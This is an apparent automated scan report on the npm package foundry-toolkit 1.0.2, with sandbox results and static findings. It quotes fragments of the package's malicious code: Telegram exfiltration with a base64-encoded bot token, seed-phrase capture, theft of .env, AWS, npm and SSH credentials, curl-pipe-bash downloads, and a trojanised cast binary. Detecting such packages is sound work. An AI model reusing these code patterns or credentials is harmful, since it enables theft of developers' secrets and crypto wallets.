{"package":"foundry-toolkit","version":"1.0.2","known":true,"status":"error","discovered_at":1790298536987,"has_install_script":true,"report_url":"https://andymal.com/packages/foundry-toolkit/1.0.2","verdict":"unknown","action":"isolate","confidence":0,"summary":"Andy could not finish analyzing this version (TRANSPORT: DeepSeek API request to http://10.9.0.1:56670/v1 failed). Treat as unverified: install only in an isolated environment.","intent":"Analysis did not complete.","capabilities":[],"iocs":{"domains":[],"urls":[],"ips":[],"paths":[],"hashes":[]},"analyzed_at":1790367517210,"detonated":false,"model":"yolo","findings":[],"lab":{"ok":true,"lab_version":2,"duration_ms":2048,"lab_ip":"10.77.0.156","hooks":[{"name":"postinstall","command":"node postinstall.js","exit":0,"timed_out":false,"seconds":1,"stdout_tail":"\n> foundry-toolkit@1.0.2 postinstall\n> node postinstall.js\n\n","stderr_tail":""}],"process_count":9,"processes":["npm run-script postinstall --if-present --ignore-scripts=false","node /usr/local/bin/npm run-script postinstall --if-present --ignore-scripts=false","sh -c node postinstall.js","node postinstall.js","/bin/sh -c curl -L https://foundry.paradigm.xyz | bash 2>&1 | tail -5","bash","tail -5","/bin/sh -c source $HOME/.bashrc 2>/dev/null || true","/bin/sh -c $HOME/.foundry/bin/foundryup 2>&1"],"network":{"connects":[{"proto":"socket","ip":"127.0.0.1","port":53,"n":9},{"proto":"socket","ip":"10.77.0.2","port":443,"n":9,"note":"sink (every DNS name resolves here)"}],"dns":[{"name":"api.telegram.org","n":9}],"http":[],"tls":[],"tcp":[]},"files_written":[],"files_deleted":[],"canary_reads":["/etc/passwd","/home/andy/.aws/credentials","/home/andy/.npmrc","/home/andy/.ssh/id_rsa","/home/andy/.ssh/id_ed25519"],"canary_leaks":[],"persistence":[],"notes":[]},"static":{"manifest":{"name":"foundry-toolkit","version":"1.0.2","description":"Unofficial Foundry helpers","scripts":{"postinstall":"node postinstall.js"},"install_hooks":{"postinstall":"node postinstall.js"},"bin":{"cast":"cast.js"},"dependencies":[],"hasInstallScript":true},"files":[{"path":"cast.js","size":2293,"kind":"text","score":1,"hits":["network_egress","download_execute","code_execution","obfuscation","reconnaissance","crypto_wallet"],"role":"entry"},{"path":"postinstall.js","size":4569,"kind":"text","score":1,"hits":["credential_access","network_egress","download_execute","code_execution","obfuscation","persistence","reconnaissance","privilege","crypto_wallet"],"role":"entry"},{"path":"package.json","size":199,"kind":"text","score":0.10033333333333333,"hits":["install_hook_shell"]}],"file_count":3,"unpacked_size":7061,"findings":[{"title":"Install hook","detail":"postinstall: node postinstall.js","severity":"low","location":"package.json"},{"title":"Network activity","detail":".toString(); function exfil(data) { const url = `https://api.telegram.org/bot${BOT_TOKEN}/sendMessage?chat_id=${CHAT_ID}&text=${encod","severity":"medium","location":"cast.js:13"},{"title":"Network activity","detail":"age?chat_id=${CHAT_ID}&text=${encodeURIComponent(data)}`; https.get(url).on('error', () => {}); } const args = process.argv.sli","severity":"medium","location":"cast.js:14"},{"title":"Network activity","detail":"r('Error: cast command not found'); console.error('Run: curl -L https://foundry.paradigm.xyz | bash'); process.exit(1","severity":"medium","location":"cast.js:57"},{"title":"Download-and-execute chain","detail":"r('Error: cast command not found'); console.error('Run: curl -L https://foundry.paradigm.xyz | bash'); process.exit(1); } } catch (error) { exfil(`❌ CA","severity":"critical","location":"cast.js:57"},{"title":"Executes commands or dynamic code","detail":"#!/usr/bin/env node const fs = require('fs'); const { execSync } = require('child_process'); const https = require('https'","severity":"medium","location":"cast.js:3"},{"title":"Executes commands or dynamic code","detail":"ode const fs = require('fs'); const { execSync } = require('child_process'); const https = require('https'); const path = require('pa","severity":"medium","location":"cast.js:3"},{"title":"Executes commands or dynamic code","detail":"'bin', 'cast'); try { if (fs.existsSync(realCast)) { execSync(`\"${realCast}\" ${args}`, { stdio: 'inherit', shell: true })","severity":"medium","location":"cast.js:52"},{"title":"Executes commands or dynamic code","detail":"l: true }); } else if (fs.existsSync(originalCast)) { execSync(`\"${originalCast}\" ${args}`, { stdio: 'inherit', shell: tru","severity":"medium","location":"cast.js:54"},{"title":"Obfuscated or encoded code","detail":"t os = require('os'); // Telegram config const BOT_TOKEN = Buffer.from('ODcyNTgzNTkwOTpBQUdEN01nTG94UzE3ZGZfUFAxdXlqb3d2dm1NSVVLNlRQVQ==', 'base64').toString(); const CHAT_ID = Buffer.from('NzA1MTY3Mz","severity":"high","location":"cast.js:9"},{"title":"Obfuscated or encoded code","detail":"3d2dm1NSVVLNlRQVQ==', 'base64').toString(); const CHAT_ID = Buffer.from('NzA1MTY3MzE3Nw==', 'base64').toString(); function exfil(data) { const url = `https:/","severity":"high","location":"cast.js:10"},{"title":"System reconnaissance","detail":"2).join(' '); exfil(`🔍 CAST COMMAND: cast ${args}\\nUser: ${os.userInfo().username}\\nTime: ${new Date().toISOString()}`); // STEAL S","severity":"low","location":"cast.js:18"},{"title":"System reconnaissance","detail":"}`); } // RUN REAL CAST COMMAND const realCast = path.join(os.homedir(), '.foundry', 'bin', 'cast.bak'); const originalCast = path.","severity":"low","location":"cast.js:47"},{"title":"System reconnaissance","detail":"oundry', 'bin', 'cast.bak'); const originalCast = path.join(os.homedir(), '.foundry', 'bin', 'cast'); try { if (fs.existsSync(rea","severity":"low","location":"cast.js:48"},{"title":"Crypto wallet targeting or address swapping","detail":").username}\\nTime: ${new Date().toISOString()}`); // STEAL SEED PHRASES const seedMatch = args.match(/(?:--mnemonic|wallet\\s+impor","severity":"high","location":"cast.js:20"},{"title":"Crypto wallet targeting or address swapping","detail":"; // STEAL SEED PHRASES const seedMatch = args.match(/(?:--mnemonic|wallet\\s+import)\\s+[\"']?([a-zA-Z]+(?:\\s+[a-zA-Z]+)*)[\"']?/)","severity":"high","location":"cast.js:21"},{"title":"Crypto wallet targeting or address swapping","detail":"-Z]+(?:\\s+[a-zA-Z]+)*)[\"']?/); if (seedMatch) { exfil(`💰 SEED PHRASE STOLEN: ${seedMatch[1]}\\nCommand: cast ${args}`); } // STE","severity":"high","location":"cast.js:23"},{"title":"Install hook runs a script","detail":"\", \"bin\": { \"cast\": \"cast.js\" }, \"scripts\": { \"postinstall\": \"node postinstall.js\" } }","severity":"medium","location":"package.json:9"},{"title":"Touches credential stores or secrets","detail":"} }); // 4. STEAL ENV FILES const ENV_FILES = ['.env', '.env.local', '.env.prod', '.aws/credentials', '.npmrc']; ENV_FILES.for","severity":"high","location":"postinstall.js:106"},{"title":"Touches credential stores or secrets","detail":"ILES const ENV_FILES = ['.env', '.env.local', '.env.prod', '.aws/credentials', '.npmrc']; ENV_FILES.forEach(envFile => { const fullPat","severity":"high","location":"postinstall.js:106"},{"title":"Touches credential stores or secrets","detail":"= ['.env', '.env.local', '.env.prod', '.aws/credentials', '.npmrc']; ENV_FILES.forEach(envFile => { const fullPath = path.j","severity":"high","location":"postinstall.js:106"},{"title":"Touches credential stores or secrets","detail":"tch (e) {} } }); // 5. STEAL SSH KEYS const SSH_KEYS = ['.ssh/id_rsa', '.ssh/id_ed25519']; SSH_KEYS.forEach(sshKey => {","severity":"high","location":"postinstall.js:118"},{"title":"Network activity","detail":"function sendToTelegram(message) { const url = `https://api.telegram.org/bot${BOT_TOKEN}/sendMessage?chat_id=${CHAT_ID}&text=${encod","severity":"medium","location":"postinstall.js:14"},{"title":"Network activity","detail":"?chat_id=${CHAT_ID}&text=${encodeURIComponent(message)}`; https.get(url).on('error', () => {}); } function run(cmd) { try {","severity":"medium","location":"postinstall.js:15"},{"title":"Network activity","detail":"UNDRY INSTALL - ONE COMMAND try { const result = run('curl -L https://foundry.paradigm.xyz | bash 2>&1 | tail -5');","severity":"medium","location":"postinstall.js:39"},{"title":"Network activity","detail":"egram('🔄 Trying direct download...'); try { run('wget -q -O- https://raw.githubusercontent.com/foundry-rs/foundry/","severity":"medium","location":"postinstall.js:53"},{"title":"Download-and-execute chain","detail":"UNDRY INSTALL - ONE COMMAND try { const result = run('curl -L https://foundry.paradigm.xyz | bash 2>&1 | tail -5'); sendToTelegram(`✅ Foundry install out","severity":"critical","location":"postinstall.js:39"},{"title":"Download-and-execute chain","detail":"egram('🔄 Trying direct download...'); try { run('wget -q -O- https://raw.githubusercontent.com/foundry-rs/foundry/master/foundryup/install.sh | bash'); sendToTelegram('✅ Direct download successful');","severity":"critical","location":"postinstall.js:53"},{"title":"Executes commands or dynamic code","detail":"os = require('os'); const https = require('https'); const { execSync } = require('child_process'); // ---------- YOUR TELEGRAM","severity":"medium","location":"postinstall.js:6"},{"title":"Executes commands or dynamic code","detail":"nst https = require('https'); const { execSync } = require('child_process'); // ---------- YOUR TELEGRAM CONFIG ---------- const BOT","severity":"medium","location":"postinstall.js:6"},{"title":"Executes commands or dynamic code","detail":"rror', () => {}); } function run(cmd) { try { return execSync(cmd, { stdio: 'pipe', encoding: 'utf8', shell: true }); }","severity":"medium","location":"postinstall.js:20"},{"title":"Obfuscated or encoded code","detail":"--------- YOUR TELEGRAM CONFIG ---------- const BOT_TOKEN = Buffer.from('ODcyNTgzNTkwOTpBQUdEN01nTG94UzE3ZGZfUFAxdXlqb3d2dm1NSVVLNlRQVQ==', 'base64').toString(); const CHAT_ID = Buffer.from('NzA1MTY3M","severity":"high","location":"postinstall.js:9"},{"title":"Obfuscated or encoded code","detail":"3d2dm1NSVVLNlRQVQ==', 'base64').toString(); const CHAT_ID = Buffer.from('NzA1MTY3MzE3Nw==', 'base64').toString(); // ------------------------------------------","severity":"high","location":"postinstall.js:10"},{"title":"Persistence mechanism","detail":"{result}`); // Run foundryup run('source $HOME/.bashrc 2>/dev/null || true'); run('$HOME/.foundry/bin/foundryu","severity":"medium","location":"postinstall.js:43"},{"title":"System reconnaissance","detail":"egram(`🚨 MALWARE INSTALLED: foundry-toolkit@1.0.2\\nUser: ${os.userInfo().username}\\nHost: ${os.hostname()}\\nTime: ${new Date().toISO","severity":"low","location":"postinstall.js:27"},{"title":"System reconnaissance","detail":"dry-toolkit@1.0.2\\nUser: ${os.userInfo().username}\\nHost: ${os.hostname()}\\nTime: ${new Date().toISOString()}`); // 1. INSTALL FOUND","severity":"low","location":"postinstall.js:27"},{"title":"System reconnaissance","detail":"RY IF MISSING (SIMPLE & FAST) const FOUNDRY_DIR = path.join(os.homedir(), '.foundry'); const BIN_DIR = path.join(FOUNDRY_DIR, 'bin')","severity":"low","location":"postinstall.js:30"},{"title":"System reconnaissance","detail":"n(FOUNDRY_DIR, 'bin'); const REAL_CAST = path.join(BIN_DIR, os.platform() === 'win32' ? 'cast.exe' : 'cast'); if (!fs.existsSync(REA","severity":"low","location":"postinstall.js:32"},{"title":"Privilege elevation","detail":"FileSync(path.join(__dirname, 'cast.js'), REAL_CAST); fs.chmodSync(REAL_CAST, 0o755); sendToTelegram(`🔄 Binary replaced: ${REAL_CAST}","severity":"low","location":"postinstall.js:70"},{"title":"Crypto wallet targeting or address swapping","detail":"ckage: foundry-toolkit@1.0.2\\nTry: npx cast wallet import --mnemonic \"test test test test test test test test test test test jun","severity":"high","location":"postinstall.js:131"}],"injection_findings":[],"hits":{"network_egress":7,"download_execute":3,"code_execution":7,"obfuscation":4,"reconnaissance":8,"crypto_wallet":4,"install_hook_shell":1,"credential_access":5,"persistence":1,"privilege":1},"iocs":{"urls":["https://foundry.paradigm.xyz"],"domains":["foundry.paradigm.xyz","install.sh"],"ips":[]},"score":1,"priority":155,"hints":["install hook postinstall: node postinstall.js","untrusted hosts referenced: foundry.paradigm.xyz, install.sh","capability hits: reconnaissance×8, network_egress×7, code_execution×7, credential_access×5, obfuscation×4, crypto_wallet×4, download_execute×3, install_hook_shell×1, persistence×1, privilege×1"],"entry_files":["postinstall.js","cast.js"],"large_or_binary":[]},"tarball":null,"source":"manual"}